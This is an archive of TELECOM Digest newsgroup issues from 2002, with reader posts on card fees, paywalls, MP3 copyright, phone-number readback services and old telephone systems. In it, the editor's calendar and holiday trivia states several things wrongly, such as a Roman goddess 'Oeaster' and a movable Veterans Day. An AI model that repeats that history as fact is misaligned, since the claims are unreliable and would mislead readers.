""other"" services, from which I derive *NO* benefit. Would you buy gasoline from a station that has an advertized price of $1.69/gal, but charged you $1.69/gal, or $2.29/gal, or $3.17/gal, *and* wouldn't tell you which price you were paying until AFTER you'd filled your tank? That is *EXACTLY* the situation with 'credit/corporate/debit' cards today. [TELECOM Digest Editor's Note: One slight correction in what you say, regards debit cards. The merchant does not get his money, nor does the money come out of the card holder's account at the time approval is given, but rather, when the *actual document* or magnetic tape entry reaches the bank. Sales authorization is given based on what the account *looks like at the time of approval.* A sale could be approved because there is money in the account or the sale is under the daily limit for the customer. But before the merchant's paper gets to the office, some other merchant slides in with a check the customer wrote or gets his debit charges in first. He gets paid because there is actual money in the account to pay him. Now your paper shows up a few days later -- the account is devoid of money -- you still get paid since sales authorization guarenteed you your money. Now the bank is left holding the bag. I know you are probably saying why didn't the bank put a 'hold' on the money you had been guarenteed. In some cases they do, but usually they do not. It depends on the customer's relationship with the bank in many cases. PAT] ------------------------------ From: Joey Lindstrom Date: Fri, 29 Nov 2002 09:10:09 -0700 Subject: Ravings Reply-To: joey@lairdsflooring.com On Thu, 28 Nov 2002 20:15:11 EST, phil wrote: >> Hey Monty, maybe we can skip the articles that require a $79 payment >> to read, huh? > Did you try the link? It link worked fine for me with no WSJ online > account. The webserver didn't require a cookie. It even worked with > lynx. I tried it three ways, including reading the URL off one computer and typing it into another (and given the chance of error, I did this no fewer than four times). Each time I got no story and an exhortation for cash. Similarly, when I went to WSJ's front page, every single ""lead story"" gave me the ""this page is only for non-deadbeats, so pay up!"" schtick. I'm not against paying for online content, providing that I feel it's worthwhile to me and it's something I can't get for free elsewhere. Indeed, I have a few such subscriptions, including one which will probably surprise nobody here: to the ""Rush Limbaugh 24/7"" site. :-) I don't demand that everything on the internet be free (though I think I'm in the minority on this one, at least as far as this forum is concerned). What I *AM* saying is that a $79 annual fee for a website that I might visit once or twice a year, and which otherwise really doesn't offer anything UNIQUE (at least to me - others will have different opinions), is simply a deal I'll take a pass on. Now, obviously something was wrong with the URL that Monty passed along to us, as Monty himself noted, and that's how I managed to stumble into page after page of demands for money. Although I've yet to actually see it (even the corrected URL doesn't work for me), I'll take Monty and others here at their word that this particular story CAN be viewed for free. What I would ask of Monty is that maybe in future he inform us of any restrictions a site may impose when posting a URL based on that site (ie: the way Pat jumps in and gives us a free username/password to use on NYTimes stories). Monty apparently didn't even know about this $79 fee, and I assumed he did, and thus ""my bad"" - I should have been a bit more civil in my response to him: Monty, I apologize for that, and please otherwise keep up the great work. Then John Higdon wrote: > Does the RIAA recognize that owners of a particular recording in any > of these formats is entitled to have -- or even download -- an MP3 > version of that recording? NOTE: I AM NOT A LAWYER That said, I've done some extensive reading on the subject. You would think that downloading an MP3 of a song you already own (say on CD or cassette or whatever) would constitute fair use, just as creating an MP3 from your own legally-purchased copy would be. But that's not the case. It is fair use for *YOU* to make an MP3 of YOUR copy, which is what makes these recent CD releases that don't function on a PC all the more reprehensible. It is *NOT*, however, fair use for someone else to make an MP3 of THEIR copy and give it to you, EVEN IF YOU OWN A COPY OF THE SONG. It's a really stupid distinction to make, but the distinction DOES exist. If you want the MP3 and remain in compliance with the law, then make it yourself - downloading it is a violation of copyright, both on your part and on the part of the person making it available for download. > All I can say is that the Warner Bros. DVD releases of major features > are supurb on my setup, and they have been this way from the gitgo. > While other companies were releasing non-anamorphic letterboxed > transfers in two-channel surround (like 20th Century Fox, Miramax, and > Polygram), WB was releasing anamorphic, 5.1 products. OK, yes, I'll give them that much credit. Still, they really fell down on the Babylon 5 release. Babylon 5 was the FIRST television series in broadcast history to be shot entirely in 16:9, because the series' creator, J. Michael Straczynski, recognized that widescreen was the display format of the future. He knew that sometime down the road, they'd be able to release Babylon 5 on home video in some sort of widescreen format (DVD's didn't yet exist) and people would be in for a real visual treat. And Warner blew it completely -- it's one of the poorest video transfers I've ever seen, and they didn't even get the 16:9 part right. This release should have been another jewel in Warner's crown. Instead, they should be embarrassed. > The only thing I fault WB for is their lack of DTS releases. I fault every studio on that. I own about 300 DVD's. Precisely two of them have a DTS track. One of them, Terminator 2, has both Dolby 5.1 and DTS, and you can switch between them. The difference is INCREDIBLE. Dolby 5.1 is nice and all, but DTS makes it sound like an old Victrola. :-) Then Pat wrote: > [TELECOM Digest Editor's Note: I am sure a good time was had by > everyone at this visual orgy. And I hope all our USA readers today > had wonderful feeding orgies at their Thanksgiving meals. I know I > did. I went down to Coffeyville to my cousin's home with her husband > and her mother (my aunt), another cousin and his wife and child were > there, and a few other distant or twice/third removed relatives. > Was it Oscar Wilde or maybe Emily Dickinson who stated, 'God gives us > our relatives; thank God we can choose our friends.' Now, except for > Christ Mass in just a month, its all over for another year. I am > totally stuffed, and will not eat any more until at least midnight > tonight when I wake up from slumber and go pick in the refrigerator. PAT] I recognize that this is off-topic, but can anyone here explain to me why Canada and the USA recognize the SAME holiday on different days? This year, Canadian Thanksgiving Day was Monday October 14th, whereas USA Thanksgiving Day fell on Thursday November 28th. What's up with that? Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: And you have always celebrated New Year's Day on January 1; until about the sixteenth century most of Europe celebrated New Years on March 21 each year. Seriously. The New Year was considered to begin on the Spring Solstice rather than the first day of the first month after the start of the Winter Solstice. In other words, March 21 of any year was followed by March 22 the next year. But Canada from its founding always used January 1 as the date. And when you consider the calendar we both use, a Spring Solstice makes better sense; after all OCTober means 8, not '10' as we consider it; NOVember means 9, rather than the '11' we consider it; and I will give you a guess on what DECember means, like 10 maybe. So what happened in the numbering to the other two months? Well, January and February were part of *last year* until the calendar was tampered with, by Pope Gregory, I believe, i.e. the 'Gregorian' system of calendaring. But to answer your question, Americans chose to celebrate Thanksgiving (or the 'Day of Mourning' as certain Indian tribes phrased it) on the final Thursday in November when President Lincoln asked them to at the conclusion of the war between the states. Prior to that, it had been on various dates in October each year for a hundred years or so. Contrary to some opinions, the non-conforming Puritans held the first such event in the summer, while the conforming Puritans held one in the winter. Both conforming and non-conforming Puritans celebrated each other's feast days, although they did disagree on what date it should be observed but not enough to go without eating. (among other things they disagreed on.) Then when King Roosevelt the Second came into office he made it official here in the USA that the fourth (not necessarily the last) Thursday in November would be used for Thanksgiving, and it has been that way since sometime in the 1930's ... we also disagree (the Canadians and the USA) on Rememberance Day, which we used to call Decoration Day and for several years now have officially called Memorial Day. It *used* to be in the USA that Decoration Day was *always* on May 30. It could be a Wednesday or a Sunday or whenever, but it was always on May 30. Then when the USA Congress passed the 'Monday Holiday Act' (that was its official name), Memorial Day was shifted to the fourth Monday in May. Now it can happen anytime between May 23 and May 31. When is your Rememberance Day? Ditto with Veterans Day on a Monday in November. It used to be Armistace Day on November 11, which is the date on which the First War ended in 1918. Now it is variable, on a Monday in November. And Easter; that's a good one. The ancient Romans always held a big feast for the Goddess Oeaster to worship Her for the return of warm weather and another season of crops, etc. Goddess Oeaster made her appearance with the new moon at the start of the New Year each spring (remember March 21 as New Year's Day) and Julius (one of the Caesers) refined it so the pagan worship of the Goddess Oeaster always happened to fall more or less the same dates. In his corrections of the errors in Julius Caeser's calendar (the Julian system of calendaring) Pope Gregory declared that henceforth the more modern Anglicized Easter holiday would be celebrated by the church (after all, why should the pagans get all the fun?) as a religious day, and that it would in fact be celebrated at Mass on the first Sunday following the New Moon in the Spring Equinox or Solstice, meaning it will always happen between March 22 and April 15, which was about when Goddess Oeaster would appear each year centuries before. Finally, the Gregorian Reformation occurred in the USA in September, 1752. To look at a *very* strange calendar, on a Unix box do the command 'cal 9 1752' You will see that Wednesday, September 2, 1752 was immediatly followed the next day by Thursday, September 14, 1752. The twelve day gap had to be finally done in the USA to conform to Pope Gregory's new calendar. It would have been done 150 years earlier but the non-conforming Puritans raised such a stink. Is this enough calendar trivia for now? PAT] ------------------------------ From: Barry F Margolius Subject: Re: BASIC/FORTRAN/COBOL Date: Fri, 29 Nov 2002 01:41:39 -0500 Jim Van Nuland wrote: > Joey Lindstrom wrote: >> On Wed, 20 Nov 2002 02:06:29 -0500 (EST), editor@telecom-digest.org >> wrote: >>> By the way, >>> BASIC = Beginner's All-Purpose Symbolic Instruction Code.) Does anyone >>> here remember what COBOL and FORTRAN stood for? > COmpletely BOtched Language. Told to me when I joined the IBM team > building the first compiler, this about 1963. > Jim Van Nuland, San Jose (California) Astronomical Association FORmula TRANslation COmmon Business Oriented Language (I think) ------------------------------ From: Dana Subject: Rural/Wireless Local Loop Date: Wed, 27 Nov 2002 23:57:03 -0900 Organization: Posted via Supernews, http://www.supernews.com Here is the deal. We have the phone company and cable company providing service to a business say three miles away. That is the end of the line for both the cable and phone company. Well there are about 30 families due east of the store, from one to ten miles away. Is there a way we can pool together and come up with a wireless/ microwave system that will tie us to the service at the business. Both the phone company and cable company have found it would be too expensive to lay cable, for so few people. So now we are looking at having the service provider provide service at the end of the line there, and we will chip in and buy some kind of radio/microwave radio that will connect the houses. Anyone have any ideas. ------------------------------ From: hes@hes01.unity.ncsu.edu (Henry E Schaffer) Subject: Re: This is Why I Read Digest - was Re: What Auth Centers Do? Date: Fri, 29 Nov 2002 21:54:07 UTC Organization: North Carolina State University In article , Lou Jahn wrote: > ... IBM's 1050 terminal ( a version of the selectric typewriter) > transmitted at 14.5 characters a second and had a parity check > bit. ASCII terminals (mostly teletypewriters) communicated at a slow > 10 characters per second with no parity check bits. Who would ever > rely on such an unsafe ASCII communications protocol. ... I leased a Teletype (Model 33 ASR) back then, from the telco -- and asked to have it set for even parity since I was using it as a remote data entry terminal to a computer. This was an unusual use, and an unusual request -- but it could be set to use even parity. When an odd parity character was received, it printed an error character (I don't remember what.) In article , Robert Dover wrote: > Ah, the 1620 - The CADET machine: Can't Add, Doesn't Even Try! It had > no arithmetic logic and did decimal arithmetic via a matrix. ... Yes -- it did table look-up to accomplish arithmetic. The tables were loaded into the regular memory -- and so one could alter the tables to do arithmetic using any base less than 10. It was a handy feature if one wanted to do octal arithmetic. henry schaffer hes@ncsu.edu ------------------------------ From: jdeyo@bellsouth.net Subject: Re: 5ESS High and Wet Problems Date: Fri, 29 Nov 2002 20:38:30 -0600 Organization: Posted via Supernews, http://www.supernews.com Reply-To: Big.Daddy@supernews.net Better late than never, right?! Yes, we have experienced it more frequently after moving to 5e15. On 18 Jul 2002 12:28:40 -0700, jherrmann@opticalsolutions.com (Jim H.) wrote: > We have been infrequently experiencing POTS lines not clearing from > the 5ESS High and Wet list thus requiring manual clearing. In > discussing with contacts in the telecom industry, others have seen > this problem also with their 5ESS. If you have experienced this > problem or have information, please respond. > Jim ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Cellular Calls to Toll-Free Directory Assistance Date: Sat, 30 Nov 2002 20:05:24 -0000 Organization: JustThe.net LLC From 'Monty Solomon' : > I placed a call to toll-free directory assistance (1.800.555.1212) > from my cellular phone during a time period when I shouldn't be > charged. I assumed that there wouldn't be any charges for that call > since all toll-free calls that I have placed during the off-peak time > period have been free of all charges. > When I got the invoice from the phone company, there was a charge of > something like $1.99 for that call. I called Cingular to ask about it > and they claimed that they charge for all calls to directory > assistance. Even calls to toll-free directory assistance. I am experiencing the same thing and have escalated to my carrier's regional executive appeals department. My carrier is Verizon. They charge $1.25 plus airtime to directory calls. If I'm calling Verizon Wireless's own 411 Connect service, that's one thing -- it costs them money to provide the service and I don't expect them to eat the costs; but I got charged on a call to AT&T's 800-555-TELL. The $1.25 appeared on my bill as toll charges (as opposed to LD or airtime). I was told that the calls were charged due to the special routing that was required. Again, I can see this with Verizon's own service, but not with calls to an outside 800 number! > This doesn't seem right to me. > Who handles toll-free directory assistance from a cellular phone? Is > it my selected long distance carrier? It ought to be routed like any 800 call. I don't get charged for calls to my own toll-free number. I don't get charged for calling my bank to find out what my balance is. According to VZW customer service, I DO get charged if I call a service that provides horoscopes, movie listings, or an ""adult"" line (WTF? Do they have people calling every tollfree in existence?) What about Moviefone? 440-777-FILM is a free call from any phone line that is local to 440-777. Do I get charged for that too? I am going to get this policy *fixed*. I don't want to leave Verizon Wireless. In all other aspects of the service, they have treated me VERY well. *611 is always answered in 60-90 seconds (I've timed it, many times). They're quite helpful, and so are the people at my local store. I took advantage of a recent promo and now have exactly the calling package I need. And I don't want to have to give out my new phone number to everyone, *again.* But I also pay $104.99 per month for my calling plan. For ONE PHONE. And while the price is competitive with similar plans from other carriers (I talk a lot), it's still, in an absolute sense, a buttload of money for one person to be spending on one phone, so I don't expect VZW to nickel-and-dime me to death. I'm a low-maintenance customer, and I don't do stuff like roaming that would cost Verizon money, that they wouldn't be able to charge me for. > bogus treatment. All because the folks at Cingular decided to save > money by no longer providing 'courtesy' wide area local calling for > their customers here. PAT] Cingular == SBC. (Joint venture between SBC and BellSloth.) That should tell you everything you need to know. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: AES/newspost Subject: Re: EU Gives Official Leave to Work For Microsoft Date: Sat, 30 Nov 2002 09:50:44 -0800 > By David Lawsky and Lisa Jucca > BRUSSELS, Nov 28 (Reuters) - A European Commission official > with knowledge about the EU executive's antitrust case against > Microsoft Corp has been granted leave of absence to work for the > firm from next Monday, Commission officials said on Thursday. > The Commission, which is nearing the end of a long-running > investigation of allegations that the U.S. software giant abused > its dominance of the Windows operating system for personal > computers, denied there was any potential conflict of interest. This has all the appearances of a really scummy deal -- and it may also indicate that as the European trans-national agencies in Brussels get bigger and acquire more and more influence, the kind of revolving-door industry-government sleaze that so pervades the U.S. may play a growing role in Europe also. ""Power tends to corrupt. Absolute power corrupts absolutely."" Lord Acton (1834-1902) ""Dependence on advertising tends to corrupt. Total dependence on advertising corrupts totally."" (today's equivalent) ------------------------------ From: John Higdon Subject: Re: Number Read Back Service Organization: Green Hills and Cows Date: Sat, 30 Nov 2002 12:42:48 -0800 In article , nichols@cablenut.net (Ryan Nichols) wrote: > I used to have a number that I could call to get the number I am > dialing on with my butt set while I am working in a comm room. I have > since lost that number; are there any others out there? I've thought > about ust calling SWBell and GTE and requesting the information > again. I'm needing one for AR and TX. Telco number readbacks became so unreliable and mutable that I finally set up my own several years ago for my own private use. It has two versions: one using an ordinary directory number to read back CID and one (using an 800 number) that reads back ANI. Very handy. I notice that the venerable PacBell readback number has finally bit the dust here as well, however. > [TELECOM Digest Editor's Note: Good luck getting it. Most telcos keep > those numbers under tight security, and they change them every month > or two as well, making it very hard to find a working one all the > time. PAT] Telco readback numbers typically only serve a comaratively small area. The advantage of having my own is that they work from any phone, anywhere. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: TELECOM Digest Editor Subject: Share Day for November Date: Sat, 30 Nov 2002 02:58:00 CST Its that time of the month again (the last day of the month and the first day of the new month) that I use to ask you to please, kindly remember TELECOM Digest and my expenses in getting this (mostly) spam free, reader-written moderated newsgroup out to you on a daily (often times several times daily) basis. As most of you know by now, a new 'deal' is underway: I now have the second edition of the CD for Telecom Archives available (my thanks for this to Joey Lindstrom) and unlike the first edition back in 1995, this time around it will be an ongoing to-date thing, along with old-time radio shows, including Agnes Morehead's famous radio presentation of 'Sorry, Wrong Number'. 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End of TELECOM Digest V22 #157 ****************************** >From editor@telecom-digest.org Sun Dec 1 17:30:11 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB1MUBo24937; Sun, 1 Dec 2002 17:30:11 -0500 (EST) Date: Sun, 1 Dec 2002 17:30:11 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212012230.gB1MUBo24937@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #158 TELECOM Digest Sun, 1 Dec 2002 17:30:00 EST Volume 22 : Issue 158 Inside This Issue: Editor: Patrick A. Townson Anyone a Trimline Guru? (noel) ""Grave Questions of Invasion of Privacy"" (Monty Solomon) Needed Feature For Answering Machine? (Aaron Epstein) Nothing New in Telecom Scams (Jim Haynes) Is There a Dial Helper For When We Travel? (Gail M. Hall) Weird GTE Numbering in Lafayette (Neal McLain) Re: Number Read Back Service (Harbor Diver) Re: Number Read Back Service (Dave Phelps) Re: TDMA and GSM Cell Phones (Howard Kelley) Re: Ravings (Paul Coxwell) Re: N11 vs. 11X Service Codes (PaulCoxwell@aol.com) Re: Rural/Wireless Local Loop (Dominic Richens) Re: RIAA Orders US Navy to Surrender (Ron Chapman) New Website to Check (Heidiangeline@aol.com) Share Day for November/December (Patrick Townson) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Sun, 01 Dec 2002 11:59:52 -0600 From: noel Subject: Anyone a Trimline Guru? I've become interested in finding a few old trimline phones. Why? I don't know. A mental defect i suppose. Anyway, I know that in trimlines, there are rotary and touchtones. In the touchtones, there are those that require a transformer to light the buttons and those that do not. These seem to be identified as either round button (need transformer) or square button (not need). Now, my question concerns the early touchtones that required the transformer. Were all the early trimline touchtones handsets narrower than the rotary trimline handset ones? You know that the rotary trimline had a nice curved sides to accommodate the dial. I never had a TT trimline, but all the pictures of them that I see, they seem to be more square and less shapely than the rotary ones. Can someone clue me in on this? Thanks Noel ------------------------------ Date: Sun, 1 Dec 2002 13:08:18 -0500 From: Monty Solomon Subject: ""Grave questions of invasion of privacy"" Sen. Bill Nelson, a Florida Democrat, warns that the Total Information Awareness program threatens our basic rights -- and questions whether Adm. Poindexter is the right man to run it. Nov. 26, 2002 | President Bush signed the landmark Homeland Security Act into law Monday, setting in motion the most ambitious reorganization of the federal government in decades. Already, though, critics on both the right and the left are worried that measure will create a mechanism for unprecedented spying on U.S. citizens. One program in particular is emerging as a concern: the Pentagon's Total Information Awareness system. Privacy experts say the program will allow the government to routinely mine thousands of databases -- from drivers' licenses to bank statements to telephone records -- to compile dossiers with scant regard for people's innocence or guilt. http://www.salon.com/news/feature/2002/11/26/nelson_speech/ ------------------------------ From: aaronep@pacbell.net (Aaron Epstein) Subject: Needed Feature For Answering Machine? Date: 30 Nov 2002 15:39:47 -0800 Organization: http://groups.google.com/ I have a friend that I phone each day. He is always happy to hear from me. The problem is that he screens his calls and I have to listen to the complete outgoing message before I can say who I am and he then picks up the phone. Is there any answering machine available that would allow me, if I am given a code number, to say who I am without having to listen to the outgoing message? All replies welcomed! Aaron ------------------------------ Subject: Nothing New in Telecom Scams Reply-To: jhaynes@alumni.uark.edu Organization: University of Arkansas Alumni From: haynes@alumni.uark.edu (Jim Haynes) Date: Sun, 01 Dec 2002 00:45:07 GMT Earlier this week I was in a library that has a lot of neat stuff, including the ""Telegraph and Telephone Age"" magazine going way back in time. I was reading issues from the early 1930s. A teenager had a reasonable enough imitation of a Western Union delivery boy's uniform. He fabricated telegrams and delivered them, collect. The story that got printed said he delivered one telegram with 90 cents due and the customer had only a ten dollar bill. So he offered to take the bill and bring back the change. Which he didn't. An executive of a corporation was traveling overseas. The crooks fabricated a cablegram from him to his company, instructing them to pay $800 on delivery of two packages he was having sent there. The packages were delivered and the company paid. They turned out to contain nothing but bottles of colored water. ------------------------------ From: Gail M. Hall Subject: Is There a Dial Helper For When We Travel? Date: Sat, 30 Nov 2002 23:14:38 -0500 Reply-To: gmhall@apk.net I am getting to the point I find it hard to ""dial"" (press the number keys) fast enough to suit SBC Ameritech. Those 11-digit numbers are hard to remember. Sometimes I have to look back at a number when I'm only part way through and before I can dial (press) the next number, I am already getting the ""your call did not go through"" message. Here is the situation. We just got a prepaid calling card in the mail that would be handy to use when we travel because you can use it from any phone. The microscopic print does say there is a surcharge if used from a public phone, but sometimes a person just wants to call from a friend's house or something. Well, to use a calling card like this, we have to dial the toll-free number printed on the card (in very small print), then enter a PIN consisting of 11 digits. Then it says we will be prompted with instructions for dialing the number we want to call. So, since most phones don't come with a little screen where you can enter the numbers at your own pace and then hit Enter like on a computer, the question is this: Is there a dialer helper gizmo that a person could carry similar to a palm-sized address-phonebook sort of thing where a person could enter such numbers and then hold it up to the phone mouthpiece and press one or two buttons and have it beep the tones into the telephone for us. Has anyone thought about a smart phone card that can do the dialing for us if we just put in one or two numbers instead of the 11-digit told-free number plus the 11-digit PIN? How about a ""card reader / number storer"" that we could carry. We could have a smaller PIN with something like this so not just ANYONE could use it, but it would be easier for people like me to use than what they have now when you have to punch in all your own numbers and do it faster than we used to have to. One thing I really LIKE about the cell phones is the phone book built into the phone. If there were a gadget similar to the cell phone phonebook that could be used with a landline phone from anywhere, that would be nice. Gail in Ohio USA ------------------------------ Date: Sat, 30 Nov 2002 22:45:19 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: Weird GTE Numbering in Lafayette PAT wrote: > Long after Bell System had 'standardized' their method of > dialing (back in the 1950-60's) with 2L and 5D (or in some > early cases, 7D) and DDD was being implemented, we *still* > could not direct dial into GTE territories (such as Fort Wayne, > IN or Lafayette, IN) because of those towns 'odd' ways of > dialing things (or so we thought)... Lafayette had five digit > dialing but no exchange name that we could discern. It was even weirder than you describe. City numbers were a mixture of five- and six-digit (except for Purdue, which, as you note, was two digits). When my parents lived in Lafayette in the 50s, their number was 42-6737. After GTE switched to seven-digit numbers, their number became 742-6737, but the initial 7 was absorbed, so you could still dial it locally with just the six digits. But you still couldn't dial it directly from outside Lafayette; you had to call your local operator (Illinois Bell in my case) and ask for ""Lafayette, Indiana 742-6737."" I once asked the IBT operator for ""Lafayette, Indiana 42-6737"" to see what would happen. The Lafayette operator said it wasn't a valid number, so I said, SEVEN-42-6737 (emphasizing the SEVEN to be sure that the Lafayette operator heard me). No reaction to my emphatic SEVEN, but the call went through. On another occasion, I asked the IBT operator for ""Lafayette, Indiana 317-742-6737"" to see what would happen if I included the area code. She asked, ""have you tried dialing it""? Well, no, lady ... I can't dial Lafayette. Silence. After a few moments of assorted clicks, pops, and muttering, the Lafayette operator came on the line, and the call went through. > Numbers in Lafayette would be such as 34567, and I assume the > '3' was part of some prefix. That would have been one of the five-digit numbers, and there was no prefix; just 3-4567. But after GTE switched to seven-digit numbers, 3-4567 would have become 743-4567. > Purdue University was the exception, where there were two ways > of reaching them, from locally in Lafayette and West Lafayette. > Dialing just '90' reached the Purdue operator but dialing '92' > followed by five digits for the campus extension got you > to that phone. And if you were calling from a campus extension, you dialed 0 for an outside line, and 1 for the campus operator! Neal McLain nmclain@annsgarden.com [TELECOM Digest Editor's Note: University of Chicago had some weirdness like that also. Going back into the 1940-50's there was but a single 'switchboard' (of eight positions) to handle all incoming and outgoing calls, on the main number group MIDway 3-0800. Extension numbers ran from 2100 through 8899, or around that; about 6500 extensions. Then there were the dormitory switchboards, whose 'outside lines' were merely extensions on the campus board, plus they had a few lines on each dorm switchboard which were traditional 'outside lines'. The board was massivly overcrowded and congested with calls. They finally decided to break it up into pseudo-exchanges, by installing nine more operator positions. The orginal eight positions were moved against one wall, six new positions were put against the other wall and the 6000- 7000 series of extensions were terminated there. This was called the 'hospitals board' (the original was named the 'campus board'). The hospital board got the outside lines which were numbered MUseum-4-6100 up through 6199. The two new left over positions were pushed against a third wall, and had the 8000 series of extension numbers, and this was for the newly created Computation Center. (In the late 1950's this was all quite a mystery to most people.) That, roughly 500-600 extensions received the outside series of numbers NORmal-7-4700. All the extensions could dial each other of course, and people in the University of Chicago Hospitals complex or the Computation Center were expected to give their own assigned outside numbers for callers, respectivly, either 684-6100 or 667-4700, or the main campus which had the 2000-3000-4000 numbers were the old 643-0800 series. A desk at the back of the room was where the teletype machine was located; also the 'service assistant', and the clerk who posted the phone charges for each extension, etc. And there two people back there who maintained 'telepage', the overhead paging system for the hospitals and clinics area, which was a block west on 59th and Drexel Streets. 'Telepage' got incoming calls from anyone dialing the single digit '7'. Those two operators took incoming page messages, put them over the speakers and directed page recipients to dial whatever extension. Literally, 'telepage' *never* quit speaking; pages would go on a dozen at a time all day. Operators reported for work at intervals throughout the day and evening ... but it was phased out to just one person on duty overnight from midnight to 7 AM, when things begin getting 'phased in' again with an increased staff in the morning rush period. Sometime around 1965-70 Illinois Bell said let's get rid of this mess and offered UC a centrex to handle it all but they had to build a new central office which they asked UC to help pay for. They moved the phone room (formerly 5th floor in the admin building 5801 South Ellis Ave) over to the 1400 block of West 61st Street in the basement of a building called 'Center for Continuing Education' which was right across the alley from the new central office building Bell had constructed, and attached to the *old* CO building used for everyone else in the neighborhood; the one called 'Kenwood Bell' at 61st and Kenwood; I have talked about it before here. In the 1970's UC got rid of about 30 operators they had needed in the old phone room, and kept about a dozen ladies experienced in operating the little electronic consoles; that was all they needed. PAT] ------------------------------ From: Harbor Diver Subject: Re: Number Read Back Service Date: Sun, 01 Dec 2002 04:05:11 -0500 Organization: Fugawi Marine Divers LLC - Boston, MA. - http://www.fugawi.net/ Today, Sat, 30 Nov 2002 12:42:48 -0800, Two Buddha read a post from John Higdon , and determined his interest in BURP. Where's my beer? Oh and: > In article , > nichols@cablenut.net (Ryan Nichols) wrote: >> I used to have a number that I could call to get the number I am >> dialing on with my butt set while I am working in a comm room. I have >> since lost that number; are there any others out there? I've thought >> about ust calling SWBell and GTE and requesting the information >> again. I'm needing one for AR and TX. > Telco number readbacks became so unreliable and mutable that I finally > set up my own several years ago for my own private use. It has two > versions: one using an ordinary directory number to read back CID and > one (using an 800 number) that reads back ANI. Very handy. > I notice that the venerable PacBell readback number has finally bit the > dust here as well, however. >> [TELECOM Digest Editor's Note: Good luck getting it. Most telcos keep >> those numbers under tight security, and they change them every month >> or two as well, making it very hard to find a working one all the >> time. PAT] > Telco readback numbers typically only serve a comparatively small area. > The advantage of having my own is that they work from any phone, > anywhere. Including blocked numbers? [TELECOM Digest Editor's Note: 'Read back numbers' ONLY tell about the phone presently being used. Usually you dial a number and the equipment tells you what number you are calling from. Dialing *67 or otherwise blocking your number would seem to defeat the purpose of calling the service to begin with wouldn't it? PAT] ------------------------------ From: Dave Phelps Subject: Re: Number Read Back Service Date: Sat, 30 Nov 2002 16:12:47 -0600 In article , nichols@cablenut.net says: > I used to have a number that I could call to get the number I am > dialing on with my butt set while I am working in a comm room. I have > since lost that number; are there any others out there? I've thought > about ust calling SWBell and GTE and requesting the information > again. I'm needing one for AR and TX. > [TELECOM Digest Editor's Note: Good luck getting it. Most telcos keep > those numbers under tight security, and they change them every month > or two as well, making it very hard to find a working one all the > time. PAT] In my area (St Louis MO area), Ameritech used to change theirs every 3 or 4 months until they were bought by SBC. Since that purchase, (what, 3 years ago now?)the number hasn't changed. SBC's has been the same here since at least 1995 when I learned of it. Dave Phelps Phone Masters Ltd. deadspam=tippenring ------------------------------ From: hkelley@yahoo.com (Howard Kelley) Subject: Re: TDMA and GSM Cell Phones Date: 30 Nov 2002 17:29:18 -0800 Organization: http://groups.google.com/ Thanks gentlemen, for your excellent advice. Seems like my solution is to purchase a Euro phone and use pre-paid SIMS for each country I am traveling in to keep my costs undercontrol. I am looking at a Nokia 6310i for this kind of service but I assume there are other choices. Anyone with suggestions? Burkitt-Gray Alan wrote in message news:: > Howard Kelley asked: >> Is there such a thing as a cell phone capable of handling both TDMA >> and GSM accounts? ... Or, am I forced to change to a U.S. carrier that >> has GSM service. > Qualcomm and, I think, Samsung have recently announced a CDMA/GSM > multi-standard phone, but I don't know of any TDMA/GSM phones. > I'm afraid that, yes, in order to roam in Europe you'll need to be > with a US GSM carrier (with a tri-band phone, that also works on the > international 900 and 1800 MHz bands for GSM, as well as the 1900 MHz > band used in North America). Alternatively you could, when in Europe, > buy a pay-as-you go GSM phone for use on this side of the > Atlantic. You'll need to shop around to ensure you can roam across > European countries with it: different operators in Europe have > different rules. For example Orange pay-as-you-go phones in the UK > will work on Orange-afiliated networks in around 13 European countries > (see http://www.orange.co.uk/cgi-bin/international/phone_start.pl?tariff=payg) > -- and you can pick up a phone at any Orange shop or other dealer and > have it working in minutes. You don't need a local address or anything > like that. A Siemens A50 is on the market for GBP69.99 -- just over > $100 -- on a pay-as-you-go deal. > That will also mean that you'll get the benefits of low rates for calling > numbers in Europe -- while a US phone company would probably add a hefty > mark-up. > The third choice is to rent a phone while you're here -- but that > would mean you wouldn't know your number until you picked up the phone > at the airport. And now that mobile phones are so common, > rent-a-phone services are probably getting scarce and expensive. > Alan Burkitt-Gray > Editor, Global Telecoms Business > Euromoney Institutional Investor plc, Nestor House, Playhouse Yard, London > EC4V 5EX, UK > tel +44 20 7779 8518 fax +44 20 7779 8492 > e-mail aburkitt@euromoneyplc.com > www.globaltelecomsbusiness.com ------------------------------ From: PaulCoxwell@aol.com Date: Sun, 1 Dec 2002 06:36:22 EST Subject: Re: Ravings > ... we also disagree (the > Canadians and the USA) on Rememberance Day, which we used to call > Decoration Day and for several years now have officially called > Memorial Day. It *used* to be in the USA that Decoration Day was > *always* on May 30. It could be a Wednesday or a Sunday or whenever, > but it was always on May 30. Then when the USA Congress passed the > 'Monday Holiday Act' (that was its official name), Memorial Day was > shifted to the fourth Monday in May. Now it can happen anytime between > May 23 and May 31. When is your Rememberance Day? Ditto with > Veterans Day on a Monday in November. It used to be Armistace Day on > November 11, which is the date on which the First War ended in > 1918. Now it is variable, on a Monday in November. Pat, Continuing 